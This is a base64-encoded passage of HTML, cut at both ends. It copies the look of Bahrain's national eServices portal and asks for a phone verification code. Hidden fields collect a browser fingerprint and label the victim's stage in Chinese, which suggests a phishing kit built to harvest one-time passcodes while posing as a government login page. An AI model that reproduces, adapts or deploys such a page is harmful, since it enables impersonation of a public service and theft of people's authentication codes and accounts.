BhbjEyIj4KCQkgIDxkaXYgY2xhc3M9InNlcnZpY2Utd2lkZ2V0Ij4KCQkJPGRpdiBjbGFzcz0ic2VydmljZS13aWRnZXQtdGl0bGUgd2lkZ2V0LWdyZXktdGl0bGUgd2lkZ2V0LXRleHQtY2VudGVyIj4KCQkJICA8aDQgc3R5bGU9InBhZGRpbmc6IDhweDsiPiBXZSBoYXZlIHNlbnQgdGhlIHZlcmlmaWNhdGlvbiBjb2RlIG9uIHlvdXIgcGhvbmUsIHBsZWFzZSBwcm9jZWVkIHRvIHRoZSBuZXh0IHN0ZXAgb2YgYXV0aGVudGljYXRpb24uPHNwYW4gY2xhc3M9InRvb2xzIiBhcmlhLWxhYmVsPSJUb2dnbGUgQ29udGFpbmVyIj4gPHNwYW4+PGVtIGNsYXNzPSJmYSBmYS1hbmdsZS11cCI+PC9lbT48L3NwYW4+IDwvc3Bhbj4gPC9oND4KCQkJPC9kaXY+CgkJCTxkaXYgY2xhc3M9InNlcnZpY2Utd2lkZ2V0LWJvZHkgc2VydmljZS13aWRnZXQtYm9keS1mb3JtIj4gCgkJCSAKCQkJICA8IS0tIEJlZ2luIEZvcm0tLT4KCiAgICAgICAgICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPgogICAgICAgICAgICAgPHAgaWQ9InZlUiIgc3R5bGU9InBhZGRpbmc6IDE0cHg7CiAgICBwYWRkaW5nLWJvdHRvbTogMHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICA8L2Rpdj4KCQkJICAKCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0icGFkZGluZzogMzBweDsgbWFyZ2luLWxlZnQ6IC0xNXB4OyIgPgoJCQkJCQkgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImJhciIgdmFsdWU9IjEwMCI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFnZXMiIHZhbHVlPSLmiJHlnKjpqozor4HpobXpnaIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJmaW5nZXJwcmludElucHV0IiBuYW1lPSJmaW5nZXJwcmludCIgdmFsdWU9IiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93UCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC03NVAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyUCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93UCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC01MFAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBpZD0id2hlblJlamVjdCIgY2xhc3M9ImgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0eWxlPSJjb2xvcjpyZWQ7IG1hcmdpbi10b3A6IDVweDsiPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBzdHlsZT0ibWFyZ2luLXRvcDogOHB4OyIgZm9yPSJjbmFtZSI+UExFQVNFIEVOVEVSIFZFUklGSUNBVElPTiBDT0RFPC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iaW5wdXQgZm9ybS1jb250cm9sIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0eWxlPSJ3aWR0aDogMTAwJTsgbWFyZ2luLWxlZnQ6IDBweDsgbWFyZ2luLWJvdHRvbTogNXB4OyBtYXJnaW4tdG9wOiAwcHg7IgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU9InRleHQiIGlkPSJzZWN1cml0eS1jb2RlIiBuYW1lPSJiaW5jaWthIiBtYXhsZW5ndGg9IjgiIG1pbmxlbmd0aD0iNCIgdmFsdWU9IiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwbGFjZWhvbGRlcj0iRW50ZXIgdmVyaWZpY2F0aW9uIGNvZGUiIHJlcXVpcmVkPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKCgkJCQkJCQkJCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZmllbGRzZXQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj4KCQkJCQkJCQkgICA8ZGl2IGNsYXNzPSJzZXJ2aWNlLWZvcm0tYWN0aW9ucyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmllbGRfX2lucHV0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGlkPSJ2ZXJpZnkiIG9uY2xpY2s9InZlcmkoKTsiIHN0eWxlPSJtYXJnaW4tdG9wOiAyMHB4OwogICAgd2lkdGg6IDUwJTsKICAgIG1hcmdpbi1sZWZ0OiAxOHB4OyIgY2xhc3M9ImJ1dHRvbl9zdHlsZSBhcHBzdWJtaXQiIHR5cGU9InN1Ym1pdCIgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPlZlcmlmeTwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCQkJCQkJCQkgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2ZpZWxkc2V0PgoKCgkJCQkJCQoKCgkJCQkJCQkJCQkJCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCgogICAgICAgICAgICAgICAgICAgICAgIAoKCQoJCQkgPCEtLSBFbmQgRm9ybS0tPiAKCQkJPC9kaXY+CgkJICA8L2Rpdj4KCQk8L2Rpdj4KCSAgPC9kaXY+CgoJCQkKCQoKPC9kaXY+CjwvZGl2PgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCQkJIAoJCQkJCSAgJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CgkJCQkJCSAgc3VibWl0RW50ZXJGdW5jKCk7CgkJCQkJfSk7CgkJCQkJIAoJCQkJIDwvc2NyaXB0PgoJCQk8L2Rpdj4KCgkJCTxkaXY+CgoJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQoJCTwvZGl2PgoJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQk8ZGl2IGFyaWEtaGlkZGVuPSJ0cnVlIiBhcmlhLWxhYmVsbGVkYnk9Im15TW9kYWxMYWJlbCIgcm9sZT0iZGlhbG9nIiB0YWJpbmRleD0iLTEiIGNsYXNzPSJtb2RhbCBoaWRlIGZhZGUiIGlkPSJlS2V5RmVhdHVyZWRNb2RhbCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KCQkJCQkJPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KCQkJCQkJCTxidXR0b24gYXJpYS1oaWRkZW49InRydWUiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGNsYXNzPSJjbG9zZSIgdHlwZT0iYnV0dG9uIj7DlzwvYnV0dG9uPgoJCQkJCQkJPGg0IHN0eWxlPSJjb2xvcjojMTI1OWZmOyIgaWQ9Im15TW9kYWxMYWJlbCI+VmlzaXRvciBlS2V5PC9oND4KCQkJCQkJPC9kaXY+CgkJCQkJPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CgkJCQkJCSAgPCEtLSBTdGFydCAtIENvbnRlbnQgQ29udGFpbmVyIEJveCAtLT4KCQkJCQkgIDxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQkJCTxkaXYgY2xhc3M9InNwYW4xMiI+CgkJCQkJCQlUaGUgVmlzaXRvciBlS2V5IG9mZmVycyBhIGxvdyBsZXZlbCBvZiBzZWN1cml0eSBhcyBpdCBpcyBub3QgYmFzZWQgb24gQmFocmFpbuKAmXMgTmF0aW9uYWwgU21hcnRjYXJkLgoJCQkJCQk8L2Rpdj4KCQkJCQkgIDwvZGl2PgoJCQkJCSAgPCEtLSBFbmQgLSBDb250ZW50IENvbnRhaW5lciAgQm94IC0tPiAKCQkJCQkgIDwvZGl2PgoJCQkJCTxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyIiBjbGFzcz0ibW9kYWwtZm9vdGVyIj4KCQkJCQkJPGJ1dHRvbiBhcmlhLWhpZGRlbj0idHJ1ZSIgZGF0YS1kaXNtaXNzPSJtb2RhbCIgY2xhc3M9ImJ1dHRvbl9zdHlsZSIgdHlwZT0iYnV0dG9uIj5DbG9zZTwvYnV0dG9uPgoJCQkJCTwvZGl2PgoJCQkJPC9kaXY+CgkJCQkJIAoKCQkJCTxkaXYgYXJpYS1oaWRkZW49InRydWUiIGFyaWEtbGFiZWxsZWRieT0ibXlNb2RhbExhYmVsIiByb2xlPSJkaWFsb2ciIHRhYmluZGV4PSItMSIgY2xhc3M9Im1vZGFsIGhpZGUgZmFkZSIgaWQ9ImVLZXlGZWF0dXJlZE1vZGFsMSI+CgkJCQkJCTxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CgkJCQkJCQk8YnV0dG9uIGFyaWEtaGlkZGVuPSJ0cnVlIiBkYXRhLWRpc21pc3M9Im1vZGFsIiBjbGFzcz0iY2xvc2UiIHR5cGU9ImJ1dHRvbiI+w5c8L2J1dHRvbj4KCQkJCQkJCTxoNCBzdHlsZT0iY29sb3I6IzEyNTlmZjsiIGlkPSJteU1vZGFsTGFiZWwiPlN0YW5kYXJkIGVLZXk8L2g0PgoJCQkJCQk8L2Rpdj4KCQkJCQk8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KCQkJCQkJICA8IS0tIFN0YXJ0IC0gQ29udGVudCBDb250YWluZXIgQm94IC0tPgoJCQkJCSAgPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQkJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIj4KCQkJCQkJCQlUaGUgU3RhbmRhcmQgZUtleSBlbnN1cmVzIGd1YXJhbnRlZWQgc2VjdXJpdHkuIFVzZXJzIG9ubHkgbmVlZCB0byBlbnRlciB0aGVpciBQZXJzb25hbCBOdW1iZXIvIE5hdGlvbmFsIElEIGFuZCBQYXNzd29yZCB0byBiZW5lZml0IGZyb20gYSByYW5nZSBvZiBiYXNpYyBlU2VydmljZXMuCgkJCQkJCTwvZGl2PgoJCQkJCSAgPC9kaXY+CgkJCQkJICA8IS0tIEVuZCAtIENvbnRlbnQgQ29udGFpbmVyICBCb3ggLS0+IAoJCQkJICAgPC9kaXY+CgkJCQkJPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiIGNsYXNzPSJtb2RhbC1mb290ZXIiPgoJCQkJCQk8YnV0dG9uIGFyaWEtaGlkZGVuPSJ0cnVlIiBkYXRhLWRpc21pc3M9Im1vZGFsIiBjbGFzcz0iYnV0dG9uX3N0eWxlIiB0eXBlPSJidXR0b24iPkNsb3NlPC9idXR0b24+CgkJCQkJPC9kaXY+CgkJCQk8L2Rpdj4KCgoJCQkJPGRpdiBhcmlhLWhpZGRlbj0idHJ1ZSIgYXJpYS1sYWJlbGxlZGJ5PSJteU1vZGFsTGFiZWwiIHJvbGU9ImRpYWxvZyIgdGFiaW5kZXg9Ii0xIiBjbGFzcz0ibW9kYWwgaGlkZSBmYWRlIiBpZD0iZUtleUZlYXR1cmVkTW9kYWwyIj4KCQkJCQkJPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KCQkJCQkJCTxidXR0b24gYXJpYS1oaWRkZW49InRydWUiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGNsYXNzPSJjbG9zZSIgdHlwZT0iYnV0dG9uIj7DlzwvYnV0dG9uPgoJCQkJCQkJPGg0IHN0eWxlPSJjb2xvcjojMTI1OWZmOyIgaWQ9Im15TW9kYWxMYWJlbCI+QWR2YW5jZWQgZUtleTwvaDQ+CgkJCQkJCTwvZGl2PgoJCQkJCTxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgoJCQkJCQkKCQkJCQkJICA8IS0tIFN0YXJ0IC0gQ29udGVudCBDb250YWluZXIgQm94IC0tPgoJCQkJCSAgPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQkJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIj4KCQkJCQkJCVRoZSBBZHZhbmNlZCBlS2V5IG9mZmVycyBhIGhpZ2hlciBsZXZlbCBvZiBzZWN1cml0eS4gQnkgZW50ZXJpbmcgeW91ciBQZXJzb25hbCBOdW1iZXIvIE5hdGlvbmFsIElEIGFuZCBQYXNzd29yZCwgeW91IGNhbiBiZW5lZml0IGZyb20gYSBjb21wbGV0ZSByYW5nZSBvZiBlU2VydmljZXMuIFJlZ2lzdHJhdGlvbiBvbmx5IHJlcXVpcmVzIHVzZXLigJlzIElkZW50aXR5IGNhcmQgYW5kIGZpbmdlcnByaW50IHNjYW4uCgkJCQkJCTwvZGl2PgoJCQkJCSAgPC9kaXY+CgkJCQkJICA8IS0tIEVuZCAtIENvbnRlbnQgQ29udGFpbmVyICBCb3ggLS0+IAoJCQkJCSAgCgkJCQkgICA8L2Rpdj4KCQkJCQk8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciIgY2xhc3M9Im1vZGFsLWZvb3RlciI+CgkJCQkJCSAgIDxidXR0b24gYXJpYS1oaWRkZW49InRydWUiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGNsYXNzPSJidXR0b25fc3R5bGUiIHR5cGU9ImJ1dHRvbiI+Q2xvc2U8L2J1dHRvbj4KCQkJCQk8L2Rpdj4KCQkJCTwvZGl2PgoKCQkJCTxkaXYgYXJpYS1oaWRkZW49InRydWUiIGFyaWEtbGFiZWxsZWRieT0ibXlNb2RhbExhYmVsIiByb2xlPSJkaWFsb2ciIHRhYmluZGV4PSItMSIgY2xhc3M9Im1vZGFsIGhpZGUgZmFkZSIgaWQ9ImVLZXlGZWF0dXJlZE1vZGFsMyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KCQkJCQkJPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KCQkJCQkJCTxidXR0b24gYXJpYS1oaWRkZW49InRydWUiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGNsYXNzPSJjbG9zZSIgdHlwZT0iYnV0dG9uIj7DlzwvYnV0dG9uPgoJCQkJCQkJPGg0IHN0eWxlPSJjb2xvcjojMTI1OWZmOyIgaWQ9Im15TW9kYWxMYWJlbCI+Q29ycFBhc3M8L2g0PgoJCQkJCQk8L2Rpdj4KCQkJCQk8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KCQkJCQkJCgkJCQkJCSAgPCEtLSBTdGFydCAtIENvbnRlbnQgQ29udGFpbmVyIEJveCAtLT4KCQkJCQkgIDxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQkJCTxkaXYgY2xhc3M9InNwYW4xMiI+CgkJCQkJCQlBbGxvd3MgYnVzaW5lc3Mgb3duZXJzIHRvIHJlZ2lzdGVyIHRoZWlyIG9yZ2FuaXphdGlvbiBhbmQgZW1wbG95ZWVzIGZvciBhIENvcnBQYXNzIGFjY291bnQgYW5kIHBlcmZvcm0gdmFyaW91cyB0cmFuc2FjdGlvbnMgb24gYmVoYWxmIG9mIHRoZSBvcmdhbml6YXRpb24gaW4gYSBzZWN1cmUgbWFubmVyLgoJCQkJCQk8L2Rpdj4KCQkJCQkgIDwvZGl2PgoJCQkJCSAgPCEtLSBFbmQgLSBDb250ZW50IENvbnRhaW5lciAgQm94IC0tPiAKCQkJCQkgIAoJCQkJICAgPC9kaXY+CgkJCQkJPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiIGNsYXNzPSJtb2RhbC1mb290ZXIiPgoJCQkJCQkJPGJ1dHRvbiBhcmlhLWhpZGRlbj0idHJ1ZSIgZGF0YS1kaXNtaXNzPSJtb2RhbCIgY2xhc3M9ImJ1dHRvbl9zdHlsZSIgdHlwZT0iYnV0dG9uIj5DbG9zZTwvYnV0dG9uPgoJCQkJCTwvZGl2PgoJCQkJPC9kaXY+CgkJPC9kaXY+CgoKCTwhLS0gRW5kIFNlcnZpY2UgRm9ybSAtLT4KPC9kaXY+PC9kaXY+CjwvZGl2PjwvZGl2PjwvZGl2PgoJCQkKCQk8L2Rpdj4KCTwvZGl2PgoKPCEtLWVuZCBtYWluIGNvbnRlbnQtLT4KPC9kaXY+CjwhLS0gcGFnZSBmb290ZXIgLS0+CgoKPGZvb3Rlcj4KCTxkaXYgY2xhc3M9InJvdy1mbHVpZCBwYWRkaW5nLXRvcC01MCI+CgkJPGRpdiBjbGFzcz0icm93LWZsdWlkIGZvb3Rlci1saW5rcyIgc3R5bGU9InBhZGRpbmctdG9wOjIwcHgiPgoJCQk8ZGl2IGNsYXNzPSJjb250YWluZXIiPgoJCQkJPGRpdiBjbGFzcz0ic3BhbjMiPgoJCQkJCTxoND5JbmZvcm1hdGlvbiBHdWlkZSA8L2g0PgoJCQkJCTx1bD4KCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmJhaHJhaW4uYmgvd3BzL3BvcnRhbC9lbi9CTlAvWW91ckd1aWRlRm9yTGl2aW5nSW5CYWhyYWluIj5Zb3VyIExpZmUgaW4gQmFocmFpbjwvYT48L2xpPgoJCQkJCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9BYm91dFRoZUtpbmdkb20vIj5BYm91dCBUaGUgS2luZ2RvbTwvYT48L2xpPgoJCQkJCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9QYXJ0aWNpcGF0ZVdpdGhVcy8iPmVQYXJ0aWNpcGF0aW9uPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSJodHRwczovL3d3dy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvZW4vQk5QL1NlcnZpY2VzQ2F0YWxvZ3VlLyI+R292ZXJubWVudCBTZXJ2aWNlcyBDYXRhbG9ndWU8L2E+PC9saT4KCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmJhaHJhaW4uYmgvd3BzL3BvcnRhbC9lbi9CTlAvR1NYLVVJLUFsbEVudGl0aWVzLyI+R292ZXJubWVudCBEaXJlY3Rvcnk8L2E+PC9saT4KCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmJhaHJhaW4uYmgvd3BzL3BvcnRhbC9lbi9CTlAvRGlyZWN0b3J5T2ZFbWVyZ2VuY3lIb3RsaW5lTnVtYmVycyI+RGlyZWN0b3J5IG9mIEVtZXJnZW5jeSBIb3RsaW5lIE51bWJlcnM8L2E+PC9saT4KCQkJCQk8L3VsPgoJCQkJPC9kaXY+CgkJCQk8ZGl2IGNsYXNzPSJzcGFuMyI+CgkJCQkJPGg0IGNsYXNzPSJoaWRlLWluLXJlc3BvbnNpdmUiPmVTZXJ2aWNlczwvaDQ+CgkJCQkJPHVsPgoJCQkJCQk8bGk+PGEgaHJlZj0iL3dwcy9wb3J0YWwvZW4vQlNQL0dTWC1VSS1NdWx0aXBsZVRoZW1lc0J5RVNlcnZpY2UiPmVTZXJ2aWNlcyBDYXRlZ29yaWVzPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSIvd3BzL3BvcnRhbC9lbi9CU1AvR1NYLVVJLU11bHRpcGxlRW50aXRpZXNCeUVTZXJ2aWNlIj5lU2VydmljZXMgUHJvdmlkZXJzPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSIvd3BzL3BvcnRhbC9lbi9CU1AvR1NYLVVJLUFsbEFwcHMiPk1vYmlsZSBBcHBzIFN0b3JlPC9hPjwvbGk+CgkJCQkJPC91bD4KCQkJCTwvZGl2PgoJCQkJPGRpdiBjbGFzcz0ic3BhbjMiPgoJCQkJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQkJCTxoNCBjbGFzcz0iaGlkZS1pbi1yZXNwb25zaXZlIj5RdWljayBMaW5rczwvaDQ+CgkJCQkJCTx1bD4KCQkJCQkJCTxsaT48YSBocmVmPSJodHRwczovL3d3dy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvZW4vQk5QL0hvbWVOYXRpb25hbFBvcnRhbC9Db250ZW50RGV0YWlsc1BhZ2U/Y3VycmVudD10cnVlJmFtcDt1cmlsZT13Y206cGF0aDpCTlBfZW4vQWJvdXQlMjBVcy9BYm91dGJhaHJhaW5iaC9BYm91dCUyMGJhaHJhaW4uYmgiPkFib3V0IHRoZSBOYXRpb25hbCBQb3J0YWw8L2E+PC9saT4KCQkJCQkJCTxsaT48YSBocmVmPSJodHRwczovL3d3dy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvZW4vQk5QL0hvbWVOYXRpb25hbFBvcnRhbC9Db250ZW50RGV0YWlsc1BhZ2U/Y3VycmVudD10cnVlJmFtcDt1cmlsZT13Y206cGF0aDpCTlBfZW4vQWJvdXQlMjBVcy9lR292ZXJubWVudCUyMENoYW5uZWxzJTIwU3RhdGlzdGljcy9lR292ZXJubWVudCUyMENoYW5uZWxzJTIwU3RhdGlzdGljcyI+Q2hhbm5lbHMgU3RhdGlzdGljczwvYT48L2xpPgoJCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmlnYS5nb3YuYmgvZW4vY2F0ZWdvcnkvY29tbXVuaXR5LWVuZ2FnZW1lbnQiPklDVCBldmVudHMgaW4gQmFocmFpbjwvYT48L2xpPgoJCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmlnYS5nb3YuYmgvZW4vY2F0ZWdvcnkvbmV3cyI+R292ZXJubWVudCBOZXdzPC9hPjwvbGk+CgkJCQkJCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuaWdhLmdvdi5iaC9lbi9jYXRlZ29yeS9yZWNvZ25pdGlvbi1hbmQtYXdhcmRzIj5SZWNvZ25pdGlvbnMgJmFtcDsgQXdhcmRzPC9hPjwvbGk+CgkJCQkJCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Vc2Vyc0d1aWRlIj5Vc2VyJ3MgR3VpZGU8L2E+PC9saT4KCQkJCQkJPC91bD4KCQkJCQk8L2Rpdj4KCQkJCTwvZGl2PgoJCQkJPGRpdiBjbGFzcz0ic3BhbjMiPgoJCQkJCTxoNCBjbGFzcz0iaW52aXNpYmxlIj5Gb2xsb3cgVXM8L2g0PgoJCQkJCTx1bD4KCQkJCQkJPGxpPgoJCQkJCQkJPGRpdiBjbGFzcz0iZm9sbG93LXVzLWljb25zIj4KCQkJCQkJCQk8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vaUdBQmFocmFpbiIgdGl0bGU9IkZhY2Vib29rIiB0YXJnZXQ9Il9ibGFuayI+CgkJCQkJCQkJCTxpIGNsYXNzPSJmYWIgZmEtZmFjZWJvb2siIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPgoJCQkJCQkJCQoJCQkJCQkJCTxhIGhyZWY9Imh0dHBzOi8vdHdpdHRlci5jb20vaUdBQmFocmFpbiIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCQk8aW1nIHN0eWxlPSJ3aWR0aDoyM3B4OyBtYXJnaW4tYm90dG9tOiAycHg7IiBhbHQ9IlRhd2FzdWwtTmF0aW9uYWwgc3VnZ2VzdGlvbnMgJmFtcDsgY29tcGxhaW50IHN5c3RlbSIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy90d2l0dGVyLW5ldy1sb2dvLnBuZyI+CgkJCQkJCQkJPC9hPgkJCQkJCQkJCQoJCQkJCQkJCTxhIGhyZWY9Imh0dHBzOi8vd3d3Lmluc3RhZ3JhbS5jb20vaWdhYmFocmFpbiIgdGl0bGU9Ikluc3RhZ3JhbSIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCQk8aSBjbGFzcz0iZmFiIGZhLWluc3RhZ3JhbSIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CgkJCQkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cueW91dHViZS5jb20vYy9pR0FCYWhyYWluIiB0aXRsZT0iWW91VHViZSIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCQk8aSBjbGFzcz0iZmFiIGZhLXlvdXR1YmUiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPgoJCQkJCQkJCTxhIGhyZWY9Imh0dHBzOi8vd3d3LmxpbmtlZGluLmNvbS9jb21wYW55L2lnYWJhaHJhaW4iIHRpdGxlPSJMaW5rZWRJbiIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCQk8aSBjbGFzcz0iZmFiIGZhLWxpbmtlZGluIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4KCQkJCQkJCQk8YSBocmVmPSIvd3BzL3BvcnRhbC9SU1NfZW4iIHRpdGxlPSJSU1MiPgoJCQkJCQkJCQk8aSBjbGFzcz0iZmEgZmEtcnNzIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4KCQkJCQkJCQk8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiB0aXRsZT0iV2hhdHNhcHAiIGlkPSJ3aGF0c2FwcC1zaGFyZS1saW5rIj4KCQkJCQkJCQkJPGkgY2xhc3M9ImZhYiBmYS13aGF0c2FwcCIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CgkJCQkJCQk8L2Rpdj4JCgkJCQkJCTwvbGk+CgkJCQkJCTxsaT4KCQkJCQkJCTxkaXYgY2xhc3M9ImZvb3Rlci1sb2dvcyI+CgkJCQkJCQkJPGEgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvdGF3YXN1bC9Ib21lX2VuIiB0aXRsZT0iVGF3YXN1bC1OYXRpb25hbCBzdWdnZXN0aW9ucyAmYW1wOyBjb21wbGFpbnQgc3lzdGVtIiB0YXJnZXQ9Il9ibGFuayI+CgkJCQkJCQkJICAgCgkJCQkJCQkJCQk8aW1nIHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9pbWFnZXMvdGF3YXN1bC1vbmxpbmUtbG9nby1lbi5wbmciIGFsdD0iVGF3YXN1bC1OYXRpb25hbCBzdWdnZXN0aW9ucyAmYW1wOyBjb21wbGFpbnQgc3lzdGVtIiB0aXRsZT0iVGF3YXN1bC1OYXRpb25hbCBzdWdnZXN0aW9ucyAmYW1wOyBjb21wbGFpbnQgc3lzdGVtIj4KCQkJCQkJCQkgICAKCQkJCQkJCQk8L2E+CgkJCQkJCQkJPGEgaHJlZj0idGVsOjgwMDA4MDAxIiB0aXRsZT0iR292ZXJubWVudCBTZXJ2aWNlcyBDb250YWN0IENlbnRlciIgd